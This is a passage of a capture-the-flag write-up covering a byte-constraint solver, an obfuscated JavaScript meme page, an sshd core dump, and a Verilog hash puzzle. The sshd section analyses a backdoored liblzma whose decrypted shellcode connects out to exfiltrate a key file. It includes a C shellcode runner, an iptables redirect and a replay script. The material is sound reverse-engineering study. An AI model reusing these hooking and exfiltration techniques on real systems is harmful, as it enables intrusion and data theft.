for attempt in itertools.product(range(256), repeat=length):
data[start:start+length] = attempt
if calculate_hash_crc32(data, start, length) == expected_hash:
print(f"CRC32 match found for range {start}-{start+length}: {attempt}")
return True
return False
def check_conditions(data):
try:
if len(data) != 85:
return False
if get_uint8(data, 58) + 25 != 122: return False
if get_uint32(data, 52) ^ 425706662 != 1495724241: return False
if get_uint32(data, 17) - 323157430 != 1412131772: return False
if calculate_hash_crc32(data, 8, 2) != 0x61089c5c: return False
if calculate_hash_crc32(data, 34, 2) != 0x5888fc1b: return False
if get_uint8(data, 36) + 4 != 72: return False
if get_uint8(data, 27) ^ 21 != 40: return False
if get_uint32(data, 59) ^ 512952669 != 1908304943: return False
if get_uint8(data, 65) - 29 != 70: return False
if get_uint8(data, 45) ^ 9 != 104: return False
if get_uint32(data, 28) - 419186860 != 959764852: return False
if get_uint8(data, 74) + 11 != 116: return False
if calculate_hash_crc32(data, 63, 2) != 0x66715919: return False
if calculate_hash_sha256(data, 14, 2) != "403d5f23d149670348b147a15eeb7010914701a7e99aad2e43f90cfa0325c76f": return False
if calculate_hash_sha256(data, 56, 2) != "593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6": return False
if get_uint8(data, 75) - 30 != 86: return False
if get_uint32(data, 66) ^ 310886682 != 849718389: return False
if get_uint32(data, 10) + 383041523 != 2448764514: return False
if get_uint32(data, 37) + 367943707 != 1228527996: return False
if get_uint8(data, 2) + 11 != 119: return False
if calculate_hash_md5(data, 0, 2) != "89484b14b36a8d5329426a3d944d2983": return False
if get_uint32(data, 46) - 412326611 != 1503714457: return False
if calculate_hash_crc32(data, 78, 2) != 0x7cab8d64: return False
if get_uint8(data, 7) - 15 != 82: return False
if get_uint32(data, 70) + 349203301 != 2034162376: return False
if calculate_hash_md5(data, 76, 2) != "f98ed07a4d5f50f7de1410d905f1477f": return False
if get_uint32(data, 80) - 473886976 != 69677856: return False
if get_uint32(data, 3) ^ 298697263 != 2108416586: return False
if get_uint8(data, 21) - 21 != 94: return False
if get_uint8(data, 16) ^ 7 != 115: return False
if get_uint32(data, 41) + 404880684 != 1699114335: return False
if calculate_hash_md5(data, 50, 2) != "657dae0913ee12be6fb2a6f687aae1c7": return False
if get_uint8(data, 26) - 7 != 25: return False
if calculate_hash_md5(data, 32, 2) != "738a656e8e8ec272ca17cd51e12f558b": return False
if get_uint8(data, 84) + 3 != 128: return False
# Final hash check
if calculate_hash_md5(data, 0, len(data)) != "b7dc94ca98aa58dabb5404541c812db2":
return False
return True # All conditions met
except Exception as e:
print(f"Error during checks: {e}")
return False
def generate_valid_file():
data = bytearray([0] * 85)
# Set the byte values according to known conditions
set_uint8(data, 58, 97)
set_uint8(data, 36, 68)
set_uint8(data, 65, 99)
set_uint8(data, 45, 104 ^ 9)
set_uint8(data, 74, 105)
set_uint8(data, 75, 116)
set_uint8(data, 7, 97)
set_uint8(data, 2, 108)
set_uint8(data, 21, 115)
set_uint8(data, 16, 115 ^ 7)
set_uint8(data, 26, 32)
set_uint8(data, 84, 125)
set_uint32(data, 52, 1495724241 ^ 425706662)
set_uint32(data, 17, 1412131772 + 323157430)
set_uint32(data, 59, 512952669 ^ 1908304943)
set_uint32(data, 28, 419186860 + 959764852)
set_uint32(data, 66, 310886682 ^ 849718389)
set_uint32(data, 10, 2448764514 - 383041523)
set_uint32(data, 37, 1228527996 - 367943707)
set_uint32(data, 46, 1503714457 + 412326611)
set_uint32(data, 70, 2034162376 - 349203301)
set_uint32(data, 80, 473886976 + 69677856)
set_uint32(data, 3, 2108416586 ^ 298697263)
set_uint32(data, 41, 1699114335 - 404880684)
# Brute-force the hash sections
bruteforce_md5_section(data, 0, 2, "89484b14b36a8d5329426a3d944d2983")
bruteforce_md5_section(data, 50, 2, "657dae0913ee12be6fb2a6f687aae1c7")
bruteforce_md5_section(data, 32, 2, "738a656e8e8ec272ca17cd51e12f558b")
bruteforce_md5_section(data, 76, 2, "f98ed07a4d5f50f7de1410d905f1477f")
bruteforce_sha256_section(data, 14, 2, "403d5f23d149670348b147a15eeb7010914701a7e99aad2e43f90cfa0325c76f")
bruteforce_sha256_section(data, 56, 2, "593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6")
bruteforce_crc32_section(data, 8, 2, 0x61089c5c)
bruteforce_crc32_section(data, 34, 2, 0x5888fc1b)
bruteforce_crc32_section(data, 63, 2, 0x66715919)
bruteforce_crc32_section(data, 78, 2, 0x7cab8d64)
# Data we can guess from partial output of earlier runs of the script
data[22] = 58
data[23] = 32
data[24] = 36
data[25] = 102
data[27] = 61
string_data = data.decode('utf-8', errors='replace')
# Print the result
print(data)
print()
print(f"Output: {string_data}")
# Check the conditions
if check_conditions(data):
print("All conditions satisfied! Wooooo!")
# Generate the file
generate_valid_file()
Meme Maker 3000
You’ve made it very far, I’m proud of you even if noone else is. You’ve earned yourself a break with some nice HTML and JavaScript before we get into challenges that may require you to be very good at computers.
For this challenge, we are given a single html document. Opening it in a browser reveals it is in fact a Meme Generator!
You can change the meme template using the drop down and the Remake
button will apparently pick text at random from a list. It is also possible to click on and edit the text boxes.
Taking a quick glance at the 2.4 KB of source code, it’s less than ideal.
After trying numerous de-obfuscation tools and websites, I finally landed on a successful one: https://deobfuscate.relative.im/. Provide this website with only the JS, and it will beautifully deobfuscate the code. I’ve shown the output below with the base64 image data removed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
const a0c = [
'When you find a buffer overflow in legacy code',
'Reverse Engineer',
'When you decompile the obfuscated code and it makes perfect sense',
'Me after a week of reverse engineering',
'When your decompiler crashes',
"It's not a bug, it'a a feature",
"Security 'Expert'",
'AI',
"That's great, but can you hack it?",
'When your code compiles for the first time',
"If it ain't broke, break it",
"Reading someone else's code",
'EDR',
'This is fine',
'FLARE On',
"It's always DNS",
'strings.exe',
"Don't click on that.",
'When you find the perfect 0-day exploit',
'Security through obscurity',
'Instant Coffee',
'H@x0r',
'Malware',
'$1,000,000',
'IDA Pro',
'Security Expert',
],
a0d = {
doge1: [
['75%', '25%'],
['75%', '82%'],
],
boy_friend0: [
['75%', '25%'],
['40%', '60%'],
['70%', '70%'],
],
draw: [['30%', '30%']],
drake: [
['10%', '75%'],
['55%', '75%'],
],
two_buttons: [
['10%', '15%'],
['2%', '60%'],
],
success: [['75%', '50%']],
disaster: [['5%', '50%']],
aliens: [['5%', '50%']],
},
a0e = {
[IMAGE DATA REMOVED]
}
function a0f() {
document.getElementById('caption1').hidden = true
document.getElementById('caption2').hidden = true
document.getElementById('caption3').hidden = true
const a = document.getElementById('meme-template')
var b = a.value.split('.')[0]
a0d[b].forEach(function (c, d) {
var e = document.getElementById('caption' + (d + 1))
e.hidden = false
e.style.top = a0d[b][d][0]
e.style.left = a0d[b][d][1]
e.textContent = a0c[Math.floor(Math.random() * (a0c.length - 1))]
})
}
a0f()
const a0g = document.getElementById('meme-image'),
a0h = document.getElementById('meme-container'),
a0i = document.getElementById('remake'),
a0j = document.getElementById('meme-template')
a0g.src = a0e[a0j.value]
a0j.addEventListener('change', () => {
a0g.src = a0e[a0j.value]
a0g.alt = a0j.value
a0f()
})
a0i.addEventListener('click', () => {
a0f()
})
function a0k() {
const a = a0g.alt.split('/').pop()
if (a !== Object.keys(a0e)[5]) {
return
}
const b = a0l.textContent,
c = a0m.textContent,
d = a0n.textContent
if (
a0c.indexOf(b) == 14 &&
a0c.indexOf(c) == a0c.length - 1 &&
a0c.indexOf(d) == 22
) {
var e = new Date().getTime()
while (new Date().getTime() < e + 3000) {}
var f =
d[3] +
'h' +
a[10] +
b[2] +
a[3] +
c[5] +
c[c.length - 1] +
'5' +
a[3] +
'4' +
a[3] +
c[2] +
c[4] +
c[3] +
'3' +
d[2] +
a[3] +
'j4' +
a0c[1][2] +
d[4] +
'5' +
c[2] +
d[5] +
'1' +
c[11] +
'7' +
a0c[21][1] +
b.replace(' ', '-') +
a[11] +
a0c[4].substring(12, 15)
f = f.toLowerCase()
alert(atob('Q29uZ3JhdHVsYXRpb25zISBIZXJlIHlvdSBnbzog') + f)
}
}
const a0l = document.getElementById('caption1'),
a0m = document.getElementById('caption2'),
a0n = document.getElementById('caption3')
a0l.addEventListener('keyup', () => {
a0k()
})
a0m.addEventListener('keyup', () => {
a0k()
})
a0n.addEventListener('keyup', () => {
a0k()
})
Now that is much better! We can see the stored text and exactly how it works. And more importantly, we can see where the flag is most likely hidden. Function a0k()
looks like a good candidate. At the end of the function are some suspicious string manipulation. And this function is called on every key-up event.
There are a few checks at the beginning of the function we need to pass: if (a !== Object.keys(a0e)[5])
, a0c.indexOf(b) == 14
, a0c.indexOf(c) == a0c.length - 1
, and a0c.indexOf(d) == 22
. We can get a better idea of what these are in the browser console.
We can clearly see a0c
is the array of text that can be placed in the text boxes. b
(a0l.textContent
), c
(a0m.textContent
), and d
(a0l.textContent
) are the text boxes on the meme. And a0e
contains the names of the meme images. So we just need a specific meme and meme text! We can already see above we need the boyfriend meme, and we can use the console to see exactly what text we need from a0c
. Then we can simply select the boyfriend meme and copy the text into the correct text boxes.
And the flag will be presented to us!
sshd
Let’s see what we are given for the fifth challenge.
Interesting! We’re given the contents of the disk. We may need more clues here. Let’s look at the prompt.
Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole! We used the best forensic preservation technique of just copying all the files on the system for you.
So let’s go crash hunting! After checking several different directories in the dump, we come across the core dump directory /var/lib/systemd/coredump
. In this directory is a single file sshd.core.93794.0.0.11.1725917676
. Time to investigate!
GDB can be used to inspect the core dump. I also have the pwndbg GDB addon installed. To load a core dump in GDB, we also need the executable that created the dump. It can be found at /usr/sbin/sshd
in the disk dump. Then in GDB, we can run gdb path_to_sshd path_to_coredump
. With pwndbg installed, we’ll get a lot of useful info immediately.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────
RAX 0x0
RBX 0x1
RCX 0x55b46d58e080 ◂— 0x0
RDX 0x55b46d58eb20 ◂— 0x0
RDI 0x200
RSI 0x55b46d51dde0 ◂— 0x38f63d94c5407a48
R8 0x1
R9 0x7ffcc6601e10 —▸ 0x55b46d57c980 ◂— 'undefined symbol: RSA_public_decrypt '
R10 0x1e
R11 0x7d63ee63
R12 0x200
R13 0x55b46d58eb20 ◂— 0x0
R14 0x55b46d58e080 ◂— 0x0
R15 0x7ffcc6601ec0 ◂— 0x7cd703ae8b2ff828
RBP 0x55b46d51dde0 ◂— 0x38f63d94c5407a48
RSP 0x7ffcc6601e98 ◂— 0x7f4a18c8f88f
RIP 0x0
────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────
Invalid address 0x0
─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ rsp 0x7ffcc6601e98 ◂— 0x7f4a18c8f88f
01:0008│ 0x7ffcc6601ea0 —▸ 0x55b46d58df60 ◂— 0x55b1361e141d
02:0010│ 0x7ffcc6601ea8 —▸ 0x7f4a188a1000 (__lgammaf128_r_finite+1464) ◂— cmpxchg byte ptr [rip + 0x50fd814e], dh
03:0018│ 0x7ffcc6601eb0 —▸ 0x55b46d51dde4 ◂— 0xe21318a838f63d94
04:0020│ 0x7ffcc6601eb8 —▸ 0x55b46d51de04 ◂— 0x1a71cd4d9f8336f2
05:0028│ r15 0x7ffcc6601ec0 ◂— 0x7cd703ae8b2ff828
06:0030│ 0x7ffcc6601ec8 ◂— 0x67711ce280e2582c
07:0038│ 0x7ffcc6601ed0 ◂— 0xbe691bcde9b3c23
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────
► f 0 0x0
f 1 0x7f4a18c8f88f
f 2 0x55b46d58df60
f 3 0x7f4a188a1000 __lgammaf128_r_finite+1464
f 4 0xe21318a838f63d94
f 5 0xbaa0f907a51863de
f 6 0xd06636a67b8abb2d
f 7 0x6fd614c95ea6118d
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
Immediately we can see two things: The crash occurred because the code was trying to execute an invalid null address, and R9 points to some text - undefined symbol: RSA_public_decrypt
. Opening up sshd
in IDA shows RSA_public_decrypt
is an external import and it’s found. Hmmm. The bt
command doesn’t show what module the crash occurred in. Probably due to differences in the environment and libraries. We can get around that by turning the image dump into a docker container, and it may be useful later if we need to debug anything.
We can build the container with sudo docker build -t test/ssh_box .
in the image dump directory. Then we can open bash in the image with sudo docker run -p 127.0.0.1:8080:23946 -p 127.0.0.1:8081:22 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it test/ssh_box /bin/bash
. Now we can open the coredump with GDB again and look at the backtrace.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000000000000000 in ?? ()
(gdb) bt
#0 0x0000000000000000 in ?? ()
#1 0x00007f4a18c8f88f in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5
#2 0x000055b46c7867c0 in ?? ()
#3 0x000055b46c73f9d7 in ?? ()
#4 0x000055b46c73ff80 in ?? ()
#5 0x000055b46c71376b in ?? ()
#6 0x000055b46c715f36 in ?? ()
#7 0x000055b46c7199e0 in ?? ()
#8 0x000055b46c6ec10c in ?? ()
#9 0x00007f4a18e5824a in __libc_start_call_main (main=main@entry=0x55b46c6e7d50, argc=argc@entry=4,
argv=argv@entry=0x7ffcc6602eb8) at ../sysdeps/nptl/libc_start_call_main.h:58
#10 0x00007f4a18e58305 in __libc_start_main_impl (main=0x55b46c6e7d50, argc=4, argv=0x7ffcc6602eb8,
init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffcc6602ea8)
at ../csu/libc-start.c:360
#11 0x000055b46c6ec621 in ?? ()
(gdb)
Now we have the module where the crash occurred! This is starting to sound familiar. Let’s toss liblzma.so.5
into a dissasembler. Loading it up, we can see there are no imports for RSA_public_decrypt
. Searching for strings however yields two references in separate functions. The first reference is in a function called from the ELF initialization table.
This ELF initialization table contains function pointers that are called for initialization of the code, before the main()
function is executed. So a function with the string RSA_public_decrypt
should not be here. Taking a glance in sub_8B10
shows that it is dealing with and iterating through ELF section headers. Then the code calls sub_91B0
with a second argument of RSA_public_decrypt
and a third argument of another function. Looking into sub_91B0
, there are some clues as to what it’s doing. It loops over some structures comparing the value to RSA_public_decrypt
.
sub_8950
is then used to get the memory permissions on the addressed matched with RSA_public_decrypt
. If the permissions allow, the address can be modified. If not, it calculates a suitable page-aligned address and length for mprotect
and attempts to change the permissions to allow writing. If successful, it writes the address that was passed in the third argument earlier (sub_9820
). This code essentially hooks RSA_public_decrypt
for the current process and makes it execute sub_9820
instead. Let’s look at sub_9820
now.
Glancing at this function reveals some interesting info. At the end off the function, we can see the other references to the RSA string.
Notice that space at the end of the string? The explains the crash! It looks like the function was setup to call the real RSA_public_decrypt
after the hooked code runs, but it was typoed! So what does it do before the crash? The function checks if the first word of data passed in argument two matches 0xC5407A48
. Since this function is mimicking the RSA_public_decrypt
function, this data should be the encrypted data to decrypt. It then calls another function:
Well, we see two weird strings 3 dnapxe
and k etyb-2
. Some quick Googling reveals this is part of the ChaCha20 stream cipher. It utilizes the constant expand 32-byte k
for creating the initial state. Here’s what the structure looks like:
It consists of 4 * 32-bit words for the constant, followed by a 256-bit key, 32-bit counter, and then a 96-bit nonce. If this was used, there’s a high chance the constant would still be in memory at the time of the crash, and thus, in the core dump. Searching through the core dump in ImHex reveals the exact structure.
Great! Looks like we have everything we need to decrypt whatever was encrypted. So what was encrypted? Armed with the knowledge this is using ChaCha, we can go back to sub_9820
and figure out what more functions are doing.
It initializes ChaCha, calls mmap
and memcpy
, runs ChaCha, then calls r8
? Shellcode it is then! The mmap
call maps memory with RWX permissions. Then memcpy
copies data from unk_239601
into this region. Then it runs ChaCha presumably on that data. mov r8, [rsp+128h+shellcode]
loads r8
with the address originally from mmap
. Then it calls r8
to execute the shellcode.
Now we have everything we need! We can extract the encrypted shellcode and decrypt it with the ChaCha key and nonce we got from the dump.
At first it doesn’t look like much, but we don’t need IDA immediately to know this decrypted correctly. Look at the bottom right! Another ChaCha constant! So this is decrypted correctly! Time to toss the shellcode into the dissasembler. And the first thing the shellcode does is enter another function. We’ll start there.
This function is using syscalls to setup a socket. First it calls sys_socket with parameters 2, 1, and 6. 2 is the address family (AF_INET, for IPv4), 1 is the socket type (SOCK_STREAM, for a TCP connection), and 6 is the protocol (TCP). It sets the uservaddr
structure with the IP address and port data, then calls the connect syscall. Let’s go back to the main function now.
We can clearly see from the syscalls it receives data multiple times, and then opens a file and reads it. Next, it jumps to a few more functions that iare ChaCha related stuff.
And after that, it sends data and exits.
Let’s get a better idea of what’s going on by running the shellcode. We can write a quick C wrapper for it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <signal.h>
const char shellcode[] = "HEX SHELLCODE DUMP GOES HERE";
int main() {
long page_size = sysconf(_SC_PAGESIZE);
void *page_start = (void *) ((long) shellcode & -page_size);
if (mprotect(page_start, page_size * 2, PROT_READ | PROT_EXEC)) {
perror("mprotect");
} else {
(*(void(*)())shellcode)();
raise (SIGABRT);
}
}
If we run this with strace ./shellcode
we can quickly see any syscall info, and get the port the shellcode is using:
1
2
3
mprotect(0x555a91a78000, 8192, PROT_READ|PROT_EXEC) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16
So we need to listen on port 1337. But it’s expecting to connect to 10.0.2.15
. No worries, we can change that with iptables.
1
sudo iptables -t nat -A OUTPUT -d 10.0.2.15 -p tcp --dport 1337 -j DNAT --to-destination 127.0.0.1:1337
Now we can spin up netcat with nc -l 1337
, run the shellcode, and send some data.
Interesting. So it receives 32 bytes, then 12, then 4, then some more and opens a file based on what was sent. Let’s test that theory. AT first it fails, but that’s because it was sending a newline. Not wanting to script anything yet, it turns out Ctrl-D
in the terminal is EOF and will signal the input has ended without sending a newline or return.
Yep, it read the file and sent back some data! Looking at the data we send to the shellcode, what have we learned uses a structure with 32, 12, and 4 bytes? Yep that’s ChaCha again! We send it the ChaCha key, nonce, and counter, and it presumably sends back ChaCha encypted data. There’s a problem though, there are no more refernces to the ChaCha constant in the core dump. There are no partial matches either. Hm.
If we look at the shellcode in the debugger while it’s running, we can look at what it does in memory. While investigating what happens to the ChaCha constant, we can make an obervation about the filename. It’s always stored in memory right after the ChaCha structure. Based on the way this shellcode works, it’s safe to assume the flag was in a file onm the machine and was exfilled by this shellcode. So let’s see if we can find the filename in the core dump.
It takes some time, but going through all strings that contain “/” in the core dump isn’t bad. Eventually we’ll come up on /root/certificate_authority_signing_key.txt
. That’s an important sounding file that could have contained the flag. Checking the disk dump, it isn’t present. And not only that, look what’s right beside the filename in the core dump.
That’s for sure the ChaCha key, nonce, and counter! But where is the encrypted data stored at? Again, using the shellcode and some test input, the encrypted file contents are stored 256 bytes higher in memory than the ChaCha structure. So let’s grab some of that data and test it!
Well that didn’t work. We can test with some known test input and that also won’t decode in cyberchef. Double checking the constant in the shellcode reveals it has been changed to expand 32-byte K
. Note the capital “K”. If the constant has been modified, other parts of the agorithm could have been changed as well. So, instead of trying to reverse and reimpliment a custom ChaCha implimentation, there’s another option. ChaCha is a stream cipher, so we can just send the encypted data back to the shellcode and it should return it decrypted. If we have the right key and nonce at least. Now it’s time to spin up some Python. We need to start listening on port 1337, wait for a connection, launch the shellcode, then send the key followed by the nonce, the counter, and the file with the encrypted data to read. And finally!
Phew! That was rewarding to finally see. Looks like We provided a bit too many bytes, but we have the flag! Here’s the touched up Python script to print just the flag. Encrypted data is in enc_data.bin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import socket
import binascii
def hex_dump_to_bytes(hex_string):
return binascii.unhexlify(hex_string.replace(" ", ""))
HOST = '0.0.0.0'
PORT = 1337
hex_key = "8D EC 91 12 EB 76 0E DA 7C 7D 87 A4 43 27 1C 35 D9 E0 CB 87 89 93 B4 D9 04 AE F9 34 FA 21 66 D7"
nonce = "11 11 11 11 11 11 11 11 11 11 11 11"
key_bytes = hex_dump_to_bytes(hex_key)
nonce_bytes = hex_dump_to_bytes(nonce)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(1)
print(f"Listening on port {PORT}...")
conn, addr = server_socket.accept()
with conn:
print(f"Connected by {addr}")
conn.sendall(key_bytes)
conn.sendall(nonce_bytes)
conn.sendall(b'0000')
conn.sendall(b'enc_data.bin')
response1 = conn.recv(1024)
response2 = conn.recv(32)
print("Received ciphertext:", response2.decode())
Bloke2
For this challenge we are given the source code for a Verilog program. Verilog isn’t a traditional programming language, it’s a hardware description language for circuits and hardware systems. Included is a README with the following text.
One of our lab researchers has mysteriously disappeared. He was working on the prototype for a hashing IP block that worked very much like, but not identically to, the common Blake2 hash family. Last we heard from him, he was working on the testbenches for the unit. One of his labmates swears she knew of a secret message that could be extracted with the testbenches, but she couldn’t quite recall how to trigger it. Maybe you could help?
You should be able to get to the answer by modifying testbenches alone, though there are some helpful diagnostics inside some of the code files which you coulduncomment if you want a look at what’s going on inside. Brute-forcing won’t really help you here; some things have been changed from the true implementation of Blake2 to discourage brute-force attempts.
After installing iverilog
, we verify that we can build and run the program with make tests
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
iverilog -g2012 -o f_sched.test.out f_sched.v f_sched_tb.v
vvp f_sched.test.out
iverilog -g2012 -o bloke2b.test.out bloke2.v f_sched.v f_unit.v g_over_2.v g.v g_unit.v data_mgr.v bloke2s.v bloke2b.v bloke2b_tb.v
vvp bloke2b.test.out
Received message: 7ց �A�&�377��S��3��
���2���&E�}'<���Y|N��:'�ԟ��,ً�� �6�A��C6
Received message: �q]y8��B��y��#>[��qi܊wRg��:���0�����$E���w�5CU��M-���
Received message: 0��+(s3����ۈ��'pɣ�$�vg�x�Ӝ�C�_�je������0��3ym�&�hA����Q
iverilog -g2012 -o bloke2s.test.out bloke2.v f_sched.v f_unit.v g_over_2.v g.v g_unit.v data_mgr.v bloke2s.v bloke2b.v bloke2s_tb.v
vvp bloke2s.test.out
Received message: ��F3��p���٨�p�{3xM�%���=W���
Received message: n��(� � �F�r�c��@lu�s�fFvr
Received message:
��a$�a�b��}���\�H��O?w�`?εb
rm bloke2b.test.out bloke2s.test.out f_sched.test.out
Awesome! Building and running the program is working. Even with no prior knowledge of Verilog we can look through the code for anything that stands out. Soemething definetly stands out in data_mgr.v
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
module data_mgr #(
parameter W=32
) (
input clk,
input rst,
input [7:0] data_in,
input dv_in,
output drdy_out,
input start,
input finish,
output msg_strobe,
output [(W*16)-1:0] m_out,
output [(W*2)-1:0] t_out,
output f_out,
input [(W*8)-1:0] h_in,
input h_rdy,
output [7:0] data_out,
output dv_out,
output data_end
);
localparam MSG_BITS=W*16;
reg [MSG_BITS-1:0] m;
assign m_out = m;
reg [W*2-1:0] t;
assign t_out = {t[0 +: W], t[W +: W]};
reg f;
assign f_out = f;
reg tst;
localparam CNT_BITS=$clog2(W*16/8);
reg [CNT_BITS-1:0] cnt;
wire [CNT_BITS:0] next_cnt = cnt + 1;
wire carry = next_cnt[CNT_BITS];
assign msg_strobe = (carry & dv_in) | (finish & ~f & ~start);
always @(posedge clk) begin
if (rst | start) begin
m <= {MSG_BITS{1'b0}};
cnt <= {CNT_BITS{1'b0}};
t <= {(W*2){1'b0}};
f <= 1'b0;
tst <= finish;
end else begin
if (dv_in) begin
m[((W-cnt)*8) +: 8] <= data_in;
cnt <= next_cnt[CNT_BITS-1:0];
t <= t + 1;
f <= finish;
//$display("%t dmgr din d %h m %h c %h t %h f %b t %b", $time, data_in, m, cnt, t, f, tst);
end else if (finish) begin
f <= 1'b1;
end
end
end
localparam TEST_VAL = 512'h3c9cf0addf2e45ef548b011f736cc99144bdfee0d69df4090c8a39c520e18ec3bdc1277aad1706f756affca41178dac066e4beb8ab7dd2d1402c4d624aaabe40;
reg [(W*8)-1:0] h;
reg [$clog2(W):0] out_cnt;
assign data_out = h[7:0];
assign dv_out = (out_cnt != 0);
assign data_end = (out_cnt == 1);
always @(posedge clk) begin
if (rst) begin
out_cnt <= 0;
end else begin
//$display("%t dmgr dout oc %h", $time, out_cnt);
if (h_rdy) begin
//$display("%t dmgr dout h %h t %b", $time, h_in, tst);
out_cnt <= W;
h <= h_in ^ (TEST_VAL & {(W*16){tst}});
end else if(out_cnt != 0) begin
//$display("%t dmgr dout d %h dv %b de %b oc %h", $time, data_out, dv_out, data_end, out_cnt);
out_cnt <= out_cnt - 1;
h <= {8'b0, h[W*8-1:8]};
end
end
end
endmodule
TEST_VAL
looks very supicious. We can see some data is being XOR’d by it via h <= h_in ^ (TEST_VAL & {(W*16){tst}});
. It looks like the tst
bit needs to be set high otherwise the XOR has no effect. Just by playing around with the code and changing the tst
line to tst <= 1;
we get the following output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
iverilog -g2012 -o f_sched.test.out f_sched.v f_sched_tb.v
vvp f_sched.test.out
iverilog -g2012 -o bloke2b.test.out bloke2.v f_sched.v f_unit.v g_over_2.v g.v g_unit.v data_mgr.v bloke2s.v bloke2b.v bloke2b_tb.v
vvp bloke2b.test.out
Received message: 7ց �A�&�377��S��3��
���2���&E�}'<���Y|N��:'�ԟ��,ً�� �6�A��C6
Received message: �q]y8��B��y��#>[��qi܊wRg��:���0�����$E���w�5CU��M-���
Received message: [email protected]
iverilog -g2012 -o bloke2s.test.out bloke2.v f_sched.v f_unit.v g_over_2.v g.v g_unit.v data_mgr.v bloke2s.v bloke2b.v bloke2s_tb.v
vvp bloke2s.test.out
Received message: ��F3��p���٨�p�{3xM�%���=W���
Received message: n��(� � �F�r�c��@lu�s�fFvr
Received message: L#��m,.d������lb$��P�q��E�t�
rm bloke2b.test.out bloke2s.test.out f_sched.test.out
And our flag is [email protected]
! This isn’t the intended solution since the author detailed it could be solved by only modifiying the test benches. After going over more of the code related to the data manager, it looks like the intended solution is to get tst
set high by setting finish
to 1
at the beginning as the messages come in from the test benches. This can be done by making the following change in both test benches.
1
2
start <= 1'b1;
finish <= 1'b0;
to
1
2
start <= 1'b1;
finish <= 1'b1;
This will also result in printing the flag.